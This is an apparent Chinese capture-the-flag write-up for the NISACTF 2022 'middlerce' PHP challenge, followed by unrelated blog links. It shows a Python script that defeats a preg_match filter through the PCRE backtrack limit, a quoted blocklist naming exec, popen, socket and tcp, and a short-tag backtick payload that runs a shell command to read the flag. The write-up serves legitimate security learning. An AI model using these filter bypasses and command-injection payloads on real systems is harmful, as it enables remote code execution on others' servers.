NSS [NISACTF 2022]middlerce

NSS NISACTF 2022middlerce

开题,直接给了源码。

由语句$command = json_decode($txw4ever,true)['cmd'];可得,$txw4ever一定是json格式的数据,但是,preg_match()函数却过滤了{,同时.*贪婪匹配后又匹配括号里的字符,最后再.*后结束。看似无懈可击的过滤,其实可以使用PCRE回溯次数限制绕过

PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit默认1000000,超过1000000不会返回1或0而是false即超过限制即可。

$_REQUEST可以接收GET和POST数据,由于GET不适合发太长的请求,这里我们选择用POST。

payload生成脚本:

python 复制代码
import requests

payload = '{"cmd":"cmd", "a":"'+'#'*1000000+'"}'
res = requests.post("http://node4.anna.nssctf.cn:28035/",data = {"letter":payload})
print(res.text)

脚本发个包,发现没有返回再加把油喔,说明preg_match()函数被成功绕过了。

然后就是考虑【命令】如何绕过checkdata()函数检测的问题了。

checkdata()函数的正则过滤如下:

php 复制代码
/\^|\||\~|assert|print|include|require|\(|echo|flag|data|php|glob|sys|phpinfo|POST|GET|REQUEST|exec|pcntl|popen|proc|socket|link|passthru|file|posix|ftp|\_|disk|tcp|cat|tac/i

这题是黑盒,也可以自己fuzz,结果不变。

过滤的很死,依靠函数执行命令行不通了。那么命令执行我们就采用短标签+反引号。

复制代码
?><?= `nl /f*`?>

解释一下,<?=?>则是相当于<? echo>,payload最前面?>用于闭合,payload后面一部分相当于echo+反引号执行命令。

成功得到flag。

相关推荐
Lhappy嘻嘻10 小时前
Java IO|File 文件操作 + 字节流 / 字符流完整笔记 + 递归删除文件实战
java·笔记·php
2601_9637713713 小时前
How to Scale Your WordPress Store Traffic in 2026
前端·php·plugin
零零信安15 小时前
AI智能体,攻守失衡的催化剂 | 零零信安
人工智能·网络安全·数据泄露·暗网·零零信安
白帽小阳16 小时前
2026前端面试题!(附答案及解析)
javascript·网络·python·安全·web安全·网络安全·护网行动
右耳朵猫AI17 小时前
PHP周刊2026W28 | 安全更新、Laravel 13.18、Twig 3.28
开发语言·php·laravel
罗政17 小时前
PDF 批量合并工具:本地 AI 自动排序、识别正文日期与合同编号
数据库·pdf·php
白帽小阳18 小时前
[特殊字符]【2026最新】零基础入门学网络安全(详细路线图),看这篇就够了!
学习·安全·web安全·网络安全·安全运营·学习路线·web渗透
糖果店的幽灵19 小时前
安全测试从入门到精通_网络基础与HTTPS
网络·https·php
2601_9637713719 小时前
WordPress SEO Guide: Boost Rankings Without Technical Jargon
前端·php
日取其半万世不竭1 天前
CS2 服务器搜不到?GSLT、端口和启动参数逐项检查
运维·服务器·php